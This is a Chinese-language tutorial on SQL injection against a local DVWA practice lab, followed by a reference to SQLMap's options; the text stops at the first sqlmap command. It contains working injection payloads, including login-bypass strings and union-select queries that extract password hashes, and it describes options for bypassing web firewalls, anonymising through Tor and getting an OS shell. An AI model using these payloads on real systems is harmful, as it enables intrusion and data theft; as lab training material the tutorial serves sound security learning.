SQLMap 的使用

一款由Python开发的用来检测和利用SQL注入漏洞的免费开源工具,支持多种数据库,例如MySQL、Oracle、PostgreSQL等。

1 安装PHPStudy

2 搭建DVWA靶场

  • 搭建DVWA靶场
    • DVWA:https://pan.baidu.com/s/1kHTjTi2KRxy4iJ5XIqOQFQ?pwd=6inn
    • 下载 > 解压 > 将整个DVWA文件夹全剪贴到PHPStudy路径的WWW目录下.
    • 进入...\WWW\DVWA\config目录,备份名为config.inc.php.dist的文件.
    • 打开文件,修改数据库密码,去掉.dist后缀名,变成config.inc.php
1
2
3
4
5
6
$_DVWA = array();
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'dvwa';
// 修改密码
$_DVWA[ 'db_password' ] = '123456';

2-1 数据库

  • 数据库
    • 打开PHPStudy > 数据库 > 右侧root > 操作 > 修改密码为123456
    • 创建数据库 > 数据库名称为dvwa,用户名为dvwa,密码为123456

2-2 创建网站

  • 创建网站
    • 切换到网站 > 创建网站 > 域名localhost,协议http,端口81
    • 根目录为\WWW\DVWA的全路径 > 点击确认 > 等待Apache服务重启。
    • 点击网站右侧的管理 > 打开网站 > 自动跳转到浏览器的网站登录页。

2-3 修改密钥

  • 修改密钥
    • 默认用户名admin,密码password > 打开\WWW\DVWA\config
    • 自定义config.inc.php文件的公钥recaptcha_public_key > 保存。
    • 自定义config.inc.php文件的私钥recaptcha_private_key > 保存。
    • 回到浏览器登录页 > 登录 > 点击底部Create/Reset Database按钮。
    • 等待页面重新跳转回登录页 > 再次登录 > 成功 > DVWA靶场部署完成。

3 SQL注入的原理

  • SQL注入的原理
    • 本质:用户输入的数据,被作为SQL语句的一部分执行了。
    • 常见注入漏洞点
      • 登录页的用户名、密码输入框。
      • 输入关键词进行查询的搜索框。
      • URL参数:如http://x.com/article?id=1,后台可能依据id参数拼接SQL。
      • 表单提交:用户输入的内容被存入数据库,如果未被过滤,则可能存在注入。
    • 判断是否存在注入
      • 输入框输入单引号',页面出现SQL语法错误,大概率存在注入。
      • 若页面显示正常,也可能存在盲注(程序不会直接返回查询数据)。
1
2
3
4
5
6
7
8
// 正常情况下的登录页,由用户输入用户名和密码进行登录,后台SQL语句正常执行
select * from user where username='用户输入' and password='用户输入';

// 若用户输入恶意内容,后台程序未对输入数据过滤或转义,将被当成SQL语句执行
select * from user where username='' or 1=1--' and password='任意输入';

// 用户输入了' or 1=1--,其中--在SQL中代表注释,上述SQL语句等价于
select * from user where username='' or 1=1

4 手工注入的实操

  • 手工注入的实操
    • 浏览器打开DVWA > 登录 > DVWA Security > 选Low > Submit。
    • 将DVWA靶场的安全等级设置为最低Low,方便手工注入复现漏洞。

4-1 万能密码登录

1
2
3
4
5
6
7
8
9
10
11
12
// 基础注入:Brute Force > 用户名输入' or 1=1 ,密码随机 > 点击Login
// MySQL中双减号注释符--有一个非常严格的要求,双减号后面必须紧跟一个空格
// MYSQL注释用#或--,--后有一个空格,PostgreSQL、Oracle、SQL Server用--
// 使用万能密码没成功,SQL语法报错了
You have an error in your SQL syntax;
check the manual that corresponds to your MySQL server version for the
right syntax to use near '5f4dcc3b5aa765d61d8327deb882cf99'' at line 1

// 尝试使用admin' #
Welcome to the password protected area admin' #
// 改用输入' or 1=1 limit 1#,强行让数据库只吐出1行数据
Welcome to the password protected area ' or 1=1 limit 1#

4-2 联合查询注入

  • 联合查询注入
    • 核心:利用union select语句,拼接查询语句来获取数据库名、表名等。
    • 获取到的URL地址不仅仅是攻击目标地址,而且揭示了以下四个关键信息。
    • 确定注入点
      • 明确哪个参数与数据库交互,这里URL参数是id
      • 猜测执行类似于select ... where id=''的语句。
      • 所有的注入脚本Payload都必须紧跟在id=的后面。
    • 确定数据的提交方式
      • GET:显示在URL中,可直接在浏览器的地址栏中修改参数进行测试。
      • POST:不显示在URL中,参数在请求体里,需用F12等工具拦截修改。
    • 找回正常响应的基准:即判断字段数。
    • 分析SQL的闭合方式:Payload的组合。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
// SQL Injection > 为空点击Submit > 查看URL地址变化(获取URL地址至关重要)
// URL地址:http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#

// 【判断字段数】:输入1' order by 1-- > Submit > 如果正常,继续
// 【判断字段数】:输入1' order by 2-- > Submit > 如果正常,继续
// 【判断字段数】:输入1' order by 3-- > Submit > 报错,字段3-1,当前表有两字段
// 拿到当前表字段,后续union注入获取数据库名称、表名、字段名、数据都需依赖该字段
Unknown column '3' in 'order clause'

// SQL语法本身对空格不敏感,逗号和字段名等之间的空格会被数据库解析器自动忽略
// 上面获取到当前表有2列,这里的select 1,数字1纯粹占位,database()放到了第2列
// 如果直接输入1' union select database()-- ,则会报错,因为列数不等,拒绝执行
// 【获取数据库名称】:输入1' union select 1, database()-- > Submit
ID: 1' union select 1, database()--
First name: admin
Surname: admin
ID: 1' union select 1, database()--
First name: 1
Surname: dvwa

// 【获取表名】输入Payload
' union select 1, group_concat(table_name)
from information_schema.tables
where table_schema=database() #
// information_schema.tables:该表存了整个数据库服务器里所有的表名
// table_name: 字段名,表示表的名称
// table_schema: 字段名,表示表所属的数据库名
Illegal mix of collations for operation 'UNION'

// 报错,两个查询结果集的校对规则(collation)不一致
// 即原始查询结果使用的字符集/排序规则与information_schema系统表使用的冲突
// 尝试把查出的表名强制转换为另一种校对规则,通常转为latin1、utf8或gbk
' union select 1, convert(group_concat(table_name) using latin1)
from information_schema.tables
where table_schema = 'dvwa' #
ID: ' union select 1, convert ... where table_schema='dvwa' #
First name: 1
Surname: guestbook,users

// 【获取字段名】输入Payload
1' union select 1, convert(group_concat(column_name) using latin1)
from information_schema.columns
where table_name='users' #
ID: 1' union select 1, convert ... where table_name='users' #
First name: admin
Surname: admin
ID: 1' union select 1, convert ... where table_name='users' #
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login

// 【获取数据】输入Payload
1' union select convert(group_concat(user) using latin1),
convert(group_concat(password) using latin1) from users #
ID: 1' union select convert(...), convert(...) from users #
First name: admin
Surname: admin
ID: 1' union select convert(...), convert(...) from users #
First name: admin,gordonb,1337,pablo,smithy
Surname: 5f4dcc3b5aa765d61d8327deb882cf99,...,5f4dcc3b5aa765d61d8327deb882cf99

4-3 常见的Payload

  • 常见的Payload
    • 万能密码:' or 1=1-- ' or 1=1 #' or 1=1 limit 1#" or 1=1-- 等。
    • 联合查询获取数据库:' union select 1, database()--
    • 布尔盲注(判断是否存在):' and 1=1-- (正常显示)、' and 1=2-- (报错或不显示)。
    • 时间盲注(无报错时使用):' and sleep(5)-- (如果页面延迟5秒加载,说明存在注入)。

5 SQLMap简单介绍

  • SQLMap简单介绍
    • SQLMap官网下载:http://sqlmap.org/
    • 自动检测各类型的SQL注入漏洞,包括基于错误、时间、联合查询的注入等。
    • 并且可以从数据库中提取数据,执行系统命令,甚至控制整个数据库服务器。
    • 常见注入模式
      • 布尔盲注:根据返回页面判断条件真假的注入。
      • 时间盲注:用条件语句查看时间延迟语句是否执行来判断。
      • 报错注入:页面返回错误信息或把注入结果返回在页面中。
      • 堆查询注入:同时执行多条语句的执行时注入。
      • 内联查询注入:在SQL语句里面执行SQL语句。
      • 联合查询注入:使用UNION操作符的情况下注入。
    • 目录说明
      • lib:核心目录。
      • data
        • udf:存放攻击载荷。
        • txt:包含了表名字典、列名字典、UA字典等。
        • shell:包含了注入成功后的shell远程命令执行。
        • xml:存放多种数据库注入检测的payload等信息。
        • procs:包含mssql、mysql、oracle、postgresql等触发程序。
      • doc:具体使用说明、作者信息等。
      • extra:额外功能,如发出声响、允许cmd、安全执行等。
      • plugins:包含目前支持的数据库信息和数据库通用事项。
      • tamper:包含waf绕过脚本(waf,即Web应用防护系统)。
      • thirdparty:包含第三方插件,如优化、保持连接、颜色。
    • PATH环境变量配置:SQLMap路径,目录下再创建一个sqlmap.bat文件。
1
2
@echo off
python "%~dp0sqlmap.py" %*

6 SQLMap参数详解

  • SQLMap参数详解
    • VERBOSE,话痨模式,使用-v参数,接收一个0-6的数字,数字越大信息越详细。
    • 0:只显示Python的回源[TRACEBACKS]、错误[ERROR]和关键信息[CRITICAL]。
    • 1:同时显示普通信息[INFO]和警告信息[WARNING]。
    • 2:同时显示调试信息[DEBUG]。
    • 3:同时显示注入的有效载荷[PAYLOADS],通常用3。
    • 4:同时显示HTTP的请求。
    • 5:同时显示HTTP响应头。
    • 6:同时显示HTTP响应体。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)

# -h、-help:显示基本帮助信息
sqlmap -h
sqlmap -help

# -hh:显示高级帮助信息
sqlmap -hh

# --version:显示SQLMap版本信息
sqlmap --version

# -v VERBOSE:指定输出内容的级别,默认1级,0-6级可选
# ?id=1:指URL中的查询参数,用于向服务器传递特定信息
sqlmap -v 0 -u "目标URL"
sqlmap -v 1 -u "目标URL"
sqlmap -v 5 -u "目标URL"

6-1 目标模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
Target:
At least one of these options has to be provided to define the target(s)

-u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1")
-d DIRECT Connection string for direct database connection
-l LOGFILE Parse target(s) from Burp or WebScarab proxy log file
-m BULKFILE Scan multiple targets given in a textual file
-r REQUESTFILE Load HTTP request from a file
-g GOOGLEDORK Process Google dork results as target URLs
-c CONFIGFILE Load options from a configuration INI file

# -u URL:指定URL,直接对单个网站进行注入检测
# -d DIRECT:直连数据库,DBMS://USER:PASSWORD@DBMS_IP:DBMS_PORT/DATABASE_NAME
# 如果报错:'ModuleNotFoundError: No module named 'MySQLdb''
# 说明Python的MySQLdb模块未安装,命令安装模块后重新连接:pip install PyMySQL

# -l LOGFILE:从代理日志中解析可能攻击的目标,逐个尝试注入
# -m BULKFILE:从文本中解析可能攻击的目标,逐一扫描URL
# -r REQUESTFILE:以文件中HTTP请求为攻击目标进行测试
# -g GOOGLEDORK:将Google到的前一百条结果作为目标进行检测
# -c CONFIGFILE:从配置INI文件获取目标

6-2 请求模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
Request:
These options can be used to specify how to connect to the target URL

-A AGENT, --user.. HTTP User-Agent header value
-H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1")
--method=METHOD Force usage of given HTTP method (e.g. PUT)
--data=DATA Data string to be sent through POST (e.g. "id=1")
--param-del=PARA.. Character used for splitting parameter values (e.g. &)
--cookie=COOKIE HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
--cookie-del=COO.. Character used for splitting cookie values (e.g. ;)
--live-cookies=L.. Live cookies file used for loading up-to-date values
--load-cookies=L.. File containing cookies in Netscape/wget format
--drop-set-cookie Ignore Set-Cookie header from response
--http2 Use HTTP version 2 (experimental)
--mobile Imitate smartphone through HTTP User-Agent header
--random-agent Use randomly selected HTTP User-Agent header value
--host=HOST HTTP Host header value
--referer=REFERER HTTP Referer header value
--headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123")
--auth-type=AUTH.. HTTP authentication type (Basic, Digest, Bearer, ...)
--auth-cred=AUTH.. HTTP authentication credentials (name:password)
--auth-file=AUTH.. HTTP authentication PEM cert/private key file
--abort-code=ABO.. Abort on (problematic) HTTP error code(s) (e.g. 401)
--ignore-code=IG.. Ignore (problematic) HTTP error code(s) (e.g. 401)
--ignore-proxy Ignore system default proxy settings
--ignore-redirects Ignore redirection attempts
--ignore-timeouts Ignore connection timeouts
--proxy=PROXY Use a proxy to connect to the target URL
--proxy-cred=PRO.. Proxy authentication credentials (name:password)
--proxy-file=PRO.. Load proxy list from a file
--proxy-freq=PRO.. Requests between change of proxy from a given list
--tor Use Tor anonymity network
--tor-port=TORPORT Set Tor proxy port other than default
--tor-type=TORTYPE Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))
--check-tor Check to see if Tor is used properly
--delay=DELAY Delay in seconds between each HTTP request
--timeout=TIMEOUT Seconds to wait before timeout connection (default 30)
--retries=RETRIES Retries when the connection timeouts (default 3)
--retry-on=RETRYON Retry request on regexp matching content (e.g. "drop")
--randomize=RPARAM Randomly change value for given parameter(s)
--safe-url=SAFEURL URL address to visit frequently during testing
--safe-post=SAFE.. POST data to send to a safe URL
--safe-req=SAFER.. Load safe HTTP request from a file
--safe-freq=SAFE.. Regular requests between visits to a safe URL
--skip-urlencode Skip URL encoding of payload data
--csrf-token=CSR.. Parameter used to hold anti-CSRF token
--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token
--csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
--csrf-data=CSRF.. POST data to send during anti-CSRF token page visit
--csrf-retries=C.. Retries for anti-CSRF token retrieval (default 0)
--force-ssl Force usage of SSL/HTTPS
--chunked Use HTTP chunked transfer encoded (POST) requests
--hpp Use HTTP parameter pollution method
--eval=EVALCODE Evaluate provided Python code before the request
(e.g."import hashlib;id2=hashlib.md5(id).hexdigest()")

# -A AGENT、--user-agent:自定义user-agent
# --method=METHOD:指定HTTP方法,默认情况下会自动检测
# --data=DATA:指定HTTP数据,默认情况下用于执行HTTP请求的GET方法
# HTTP会使用POST方法将参数当作HTTP DATA提交,同时检测此参有没注入漏洞

# --param-del=PARAM:指定参数分割符,默认情况下用&作为分隔符
# --cookie=COOKIE:指定cookie内容
# --cookie-del:指定cookie分隔符
# --load-cookies:将cookie保存在Netscape或Wget格式的文件中,再调用
# --drop-set-cookie:忽略使用cookie
# cookie的字符分隔通常是分号,用于两种情况
# 1、Web应用程序需要基于cookie的身份认证,并含有cookie
# 2、想要检测并利用cookie注入(level>=2时自动检测cookie注入)

# --random-agent:使用随机user-agent进行测试
# SQLMap在txt目录的user-agents.txt中存储了各种各样的user-agent
# 当level>=3时,就会自动检测user-agent注入

# --host=HOST:指定HTTP HOST,默认情况下从URL中解析,也可以手动设置
# 当level>=5时,就会对HTTP HOST进行SQL注入测试

# --referer=REFERER:指定HTTP Referer,通过伪造指定HTTP Referer报头值
# --headers=HEADERS:指定额外字段,添加多个字段用\n分隔
# --auth-type:指定认证方式,Basic,Digest,NTLM等
# --auth-cred:用于给出身份认证的凭证
# --auth-file:HTTP协议私钥认证
# --ignore-code:忽略HTTP错误状态码
# --ignore-proxy:忽略代理设置
# --proxy=PROXY:设置代理,格式为URL:PORT
# --proxy-cred:当协议需要认证时,使用参数提供凭证
# --proxy-file:指定一个包含代理列表的文件,当前代理无效时自动跳到下个代理
# --tor:自动设置使用Tor代理
# --tor-port:自定义代理的端口
# --tor-type:自定义代理的类型
# --check-tor:检查一切数据是否都走匿名代理,检查失败将警告并退出
# --delay=DELAY:设定每个HTTP请求之间的延迟,默认情况下不设置
# --timeout=TIMEOUT:设置超时时间,默认30s,有效值是一个浮点数
# --retries=RETRIES:设置连接超时后的最大重试次数,默认3次
# --randomize=RPARAM:随机更改参数,可指定请求参数名称
# --safe-url=SAFEURL:隔段时间就访问一下正确的URL
# --safe-post:访问正确URL时携带的POST数据
# --safe-req:从文件中载入安全HTTP请求
# --safe-freq:每次测试请求后都会访问一下安全的URL
# --skip-urlencode:关闭参数值的URL编码,默认开启
# --csrf-token:用于指定隐藏字段名称
# --csrf-url=CSRFURL:用于从任意的URL中回收token值
# --force-ssl:强制使用SSL/HTTPS
# --eval=EVALCODE:在每次请求前执行特定的Python代码
# 根据id值重新计算hash值,并更新GET请求中的hash值

6-3 注入模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Injection:
These options can be used to specify which parameters to test for,
provide custom injection payloads and optional tampering scripts

-p TESTPARAMETER Testable parameter(s)
--skip=SKIP Skip testing for given parameter(s)
--skip-static Skip testing parameters that not appear to be dynamic
--param-exclude=.. Regexp to exclude parameters from testing (e.g. "ses")
--param-filter=P.. Select testable parameter(s) by place (e.g. "POST")
--dbms=DBMS Force back-end DBMS to provided value
--dbms-cred=DBMS.. DBMS authentication credentials (user:password)
--os=OS Force back-end DBMS operating system to provided value
--invalid-bignum Use big numbers for invalidating values
--invalid-logical Use logical operations for invalidating values
--invalid-string Use random strings for invalidating values
--no-cast Turn off payload casting mechanism
--no-escape Turn off string escaping mechanism
--prefix=PREFIX Injection payload prefix string
--suffix=SUFFIX Injection payload suffix string
--tamper=TAMPER Use given script(s) for tampering injection data

# -p TESTPARAMETER:指定测试参数
# --skip=SKIP:指定跳过的测试参数
# --skip-static:跳过测试静态参数
# --param-exclude:使用正则表达式排除测试参数
# --dbms=DBMS:指定后端数据库类型,加快SQLMap的执行速度
# 默认情况下自动探测web应用后端的数据库类型

# --os=OS:指定数据库管理系统的操作系统,默认情况下自动检测
# --invalid-bignum:强制使用大数生成无效参数
# --invalid-logical:强制使用逻辑操作生成无效参数
# --invalid-string:强制使用随机字符串生成无效参数
# --no-cast:获取数据时将所有数据转换成字符串,并用空格代替null
# --no-escape:关闭字符串转义机制
# --prefix=PREFIX:指定payload前缀
# --suffix=SUFFIX:指定payload后缀
# --tamper=TAMPER:使用SQLMap自带或自定义的tamper,来混淆payload
# 当需要绕过IPS或Web应用程序防火墙(WAF)时,可以使用该选项

6-4 探测模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
Detection:
These options can be used to customize the detection phase

--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
--string=STRING String to match when query is evaluated to True
--not-string=NOT.. String to match when query is evaluated to False
--regexp=REGEXP Regexp to match when query is evaluated to True
--code=CODE HTTP code to match when query is evaluated to True
--smart Perform thorough tests only if positive heuristic(s)
--text-only Compare pages based only on the textual content
--titles Compare pages based only on their titles

# --level=LEVEL:检测级别,探测等级1-5,默认值1
# 默认情况下只支持GET/POST参数的注入测试

# level>=2时检查cookie中的参数
# level>=3时检查user-agent和referer
# level=5时检查host,包含的payload最多
# 在data\xml\payloads目录的文件内可见各个level发送的payload

# --risk=RISK:风险级别,风险等级1-3,最大值3
# 1:测试大部分的测试语句(默认)
# 2:增加基于时间盲注的检测
# 3:增加基于OR盲注的检测
# 例如:在UPDATE语句中注入一个OR测试语句
# 可能导致更新整个表,这样就会造成很大风险

# --string=STRING:指定一个字符串,该字符串存在于Ture页面中
# --not-string:指定一个字符串,该字符串只存在于False页面中
# --regexp=REGEXP:指定一个正则表达式而非字符串
# --code=CODE:指定一个状态码
# --titles:指定一个标题

6-5 枚举模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
Enumeration:
These options can be used to enumerate the back-end database management
system information, structure and data contained in the tables

-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--hostname Retrieve DBMS server hostname
--is-dba Detect if the DBMS current user is DBA
--users Enumerate DBMS users
--passwords Enumerate DBMS users password hashes
--privileges Enumerate DBMS users privileges
--roles Enumerate DBMS users roles
--dbs Enumerate DBMS databases
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--count Retrieve number of entries for table(s)
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
--search Search column(s), table(s) and/or database name(s)
--comments Check for DBMS comments during enumeration
--statements Retrieve SQL statements being run on DBMS
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to enumerate
-X EXCLUDE DBMS database identifier(s) to not enumerate
-U USER DBMS user to enumerate
--exclude-sysdbs Exclude DBMS system databases when enumerating tables
--pivot-column=P.. Pivot column name
--where=DUMPWHERE Use WHERE condition while table dumping
--start=LIMITSTART First dump table entry to retrieve
--stop=LIMITSTOP Last dump table entry to retrieve
--first=FIRSTCHAR First query output word character to retrieve
--last=LASTCHAR Last query output word character to retrieve
--sql-query=SQLQ.. SQL statement to be executed
--sql-shell Prompt for an interactive SQL shell
--sql-file=SQLFILE Execute SQL statements from given file(s)

# -a、--all:获取访问的所有内容,不推荐
# -b、--banner:获取数据库管理系统的详细信息
# --current-user:获取数据库管理系统当前用户
# --current-db:获取数据库管理系统的数据库名称
# --hostname:获取数据库管理系统的主机名称
# --is-dba:检测当前用户是否为数据库管理员(DBA),是则返回True
# --users:枚举用户列表
# --passwords:枚举每个用户的密码哈希值
# -U CU:指定破解当前用户的密码哈希值
# --privileges:枚举每个用户的权限,-U指定查看的用户
# --roles:枚举每个用户的角色
# --dbs:枚举所有数据库
# --tables:枚举数据库的所有表
# --columns:枚举数据库表的字段名
# --schema:获取数据库的架构,包含数据库、表和字段,及各自的类型
# --count:获取表中的数据个数,而非具体内容
# --dump:转储数据库表项,查询字段值
# --dump-all:列举所有数据库所有表中的所有数据
# --search:搜索特定的数据库名、特定表、特定列
# -D:查看指定的数据库名
# -T:查看指定的数据表名
# -C:查看指定的数据表列名
# --exclude-sysdbs:排除系统数据等相关内容
# --sql-query=QUERY:指定要执行的SQL语句
# --sql-shell:指定提示交互式SQL的shell

6-6 文件系统

1
2
3
4
5
6
7
8
9
10
11
File system access:
These options can be used to access the back-end database management
system underlying file system

--file-read=FILE.. Read a file from the back-end DBMS file system
--file-write=FIL.. Write a local file on the back-end DBMS file system
--file-dest=FILE.. Back-end DBMS absolute filepath to write to

# --file-read:读取后端DBMS文件系统上的文件,文本或二进制文件
# --file-write:要上传到后端DBMS文件系统的本地文件,需结合--file-dest
# --file-dest=DFILE:要上传的后端DBMS绝对文件路径

6-7 操作系统

  • 操作系统
    • 与数据库直接建立TCP连接,该连接可以是一个交互式命令行的Meterpreter会话。
    • SQLMap根据Meterpreter会话生成Shellcode(漏洞代码)并提供4种方式用于执行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Operating system access:
These options can be used to access the back-end database management
system underlying operating system

--os-cmd=OSCMD Execute an operating system command
--os-shell Prompt for an interactive operating system shell
--os-pwn Prompt for an OOB shell, Meterpreter or VNC
--os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC
--os-bof Stored procedure buffer overflow exploitation
--priv-esc Database process user privilege escalation
--msf-path=MSFPATH Local path where Metasploit Framework is installed
--tmp-path=TMPPATH Remote absolute path of temporary files directory

# --os-cmd=OSCMD:执行操作系统命令
# --os-shell:在内存中执行Meterpreter的shellcode
# --os-pwn:通过用户自定义的函数上传一个独立的payload执行
# --os-smbrelay:通过SMB***(MS08-068)执行Metasploit的shellcode
# SMB***(MS08-068)指微软在08年8月发布的安全公告MS08-068中
# 修复的Server Message Block (SMB)协议中的一个严重漏洞
# --os-bof:在内存中执行Metasploit的payload

6-8 常规模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
General:
These options can be used to set some general working parameters

-s SESSIONFILE Load session from a stored (.sqlite) file
-t TRAFFICFILE Log all HTTP traffic into a textual file
--abort-on-empty Abort data retrieval on empty results
--answers=ANSWERS Set predefined answers (e.g. "quit=N,follow=N")
--base64=BASE64P.. Parameter(s) containing Base64 encoded data
--base64-safe Use URL and filename safe Base64 alphabet (RFC 4648)
--batch Never ask for user input, use the default behavior
--binary-fields=.. Result fields having binary values (e.g. "digest")
--check-internet Check Internet connection before assessing the target
--cleanup Clean up the DBMS from sqlmap specific UDF and tables
--crawl=CRAWLDEPTH Crawl the website starting from the target URL
--crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout")
--csv-del=CSVDEL Delimiting character used in CSV output (default ",")
--charset=CHARSET Blind SQL injection charset (e.g. "0123456789abcdef")
--dump-file=DUMP.. Store dumped data to a custom file
--dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE)
--encoding=ENCOD.. Character encoding used for data retrieval (e.g. GBK)
--eta Display for each output the estimated time of arrival
--flush-session Flush session files for current target
--forms Parse and test forms on target URL
--fresh-queries Ignore query results stored in session file
--gpage=GOOGLEPAGE Use Google dork results from specified page number
--har=HARFILE Log all HTTP traffic into a HAR file
--hex Use hex conversion during data retrieval
--output-dir=OUT.. Custom output directory path
--parse-errors Parse and display DBMS error messages from responses
--preprocess=PRE.. Use given script(s) for preprocessing (request)
--postprocess=PO.. Use given script(s) for postprocessing (response)
--repair Redump entries having unknown character marker (?)
--save=SAVECONFIG Save options to a configuration INI file
--scope=SCOPE Regexp for filtering targets
--skip-heuristics Skip heuristic detection of vulnerabilities
--skip-waf Skip heuristic detection of WAF/IPS protection
--table-prefix=T.. Prefix used for temporary tables (default: "sqlmap")
--test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW)
--test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK)
--time-limit=TIM.. Run with a time limit in seconds (e.g. 3600)
--unsafe-naming Disable escaping of DBMS identifiers (e.g. "user")
--web-root=WEBROOT Web server document root directory (e.g. "/var/www")

# -s SESSIONFILE:清空之前的session,重新测试目标
# --batch:以无提示的模式运行,自动同意所有提示

6-9 其他模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Miscellaneous:
These options do not fit into any other category

-z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU")
--alert=ALERT Run host OS command(s) when SQL injection is found
--beep Beep on question and/or when vulnerability is found
--dependencies Check for missing (optional) sqlmap dependencies
--disable-coloring Disable console output coloring
--disable-hashing Disable hash analysis on table dumps
--list-tampers Display list of available tamper scripts
--no-logging Disable logging to a file
--no-truncate Disable console output truncation (e.g. long entr...)
--offline Work in offline mode (only use session data)
--purge Safely remove all content from sqlmap data directory
--results-file=R.. Location of CSV results file in multiple targets mode
--shell Prompt for an interactive sqlmap shell
--tmp-dir=TMPDIR Local directory for storing temporary files
--unstable Adjust options for unstable connections
--update Update sqlmap
--wizard Simple wizard interface for beginner users

# --shell:交互式sqlmap shell
# --wizard:提供向导界面,引导用户填参进行注入

(1) 最优模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Optimization:
These options can be used to optimize the performance of sqlmap

-o Turn on all optimization switches
--predict-output Predict common queries output
--keep-alive Use persistent HTTP(s) connections
--null-connection Retrieve page length without actual HTTP response body
--threads=THREADS Max number of concurrent HTTP(s) requests (default 1)

# -o:一键优化
# 开启则自动打开--keep-alive、--null-connection、--threads=3
# --predict-output:预测输出,与--threads不兼容
# --keep-alive:保持HTTP长连接,与--proxy不兼容
# --null-connection:HTTP空连接,与--text-only不兼容
# --threads=THREADS:指定HTTP并发请求最大数,与--predict-output不兼容

(2) 技术模块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Techniques:
These options can be used to tweak testing of specific SQL injection
techniques

--technique=TECH.. SQL injection techniques to use (default "BEUSTQ")
--time-sec=TIMESEC Seconds to delay the DBMS response (default 5)
--union-cols=UCOLS Range of columns to test for UNION query SQL injection
--union-char=UCHAR Character to use for bruteforcing number of columns
--union-from=UFROM Table to use in FROM part of UNION query SQL injection
--union-values=U.. Column values to use for UNION query SQL injection
--dns-domain=DNS.. Domain name used for DNS exfiltration attack
--second-url=SEC.. Resulting page URL searched for second-order response
--second-req=SEC.. Load second-order HTTP request from file

# --technique:默认情况下会尝试所有类型的注入
# B:基于bool的盲注
# E:基于报错的注入
# U:联合查询注入
# S:堆查询注入
# T:指时间盲注
# Q:嵌套查询注入
# 想要仅基于报错注入和堆栈的查询注入,可以指定–technique SE

# --time-sec=TIMESEC:指定基于时间盲注的延迟时间
# --union-cols=UCOLS:指定联合查询注入的列数
# --union-char=UCHAR:指定联合查询注入的字符
# --union-from=UFROM:指定联合查询注入的表名
# --dns-domain=DNS:DNS漏洞攻击
# --second-url=SEC:搜索二阶响应的结果页面URL
# --second-req=SEC:从文件加载二阶HTTP请求

(3) 暴力破解

1
2
3
4
5
6
7
8
9
10
Brute force:
These options can be used to run brute force checks

--common-tables Check existence of common tables
--common-columns Check existence of common columns
--common-files Check existence of common files

# --common-tables:暴力破解表名
# --common-columns:暴力破解列名
# --common-files:暴力破解文件

(4) UDF模块

1
2
3
4
5
6
7
8
User-defined function injection:
These options can be used to create custom user-defined functions

--udf-inject Inject custom user-defined functions
--shared-lib=SHLIB Local path of the shared library

# --udf-inject:注入用户自定义函数
# --shared-lib=SHLIB:指定共享库的本地路径

7 SQLMap实战演练

1
2
3
目标URL:http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#
F12 > Network > 选中第一个请求 > Request Headers > Cookie
Cookie:PHPSESSID=g9ru8lin880c3191bq7csgoq9s; security=low

7-1 确认注入点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
sqlmap 
-u "http://localhost:81/vulnerabilities/sqli/?id=&Submit=Submit#"
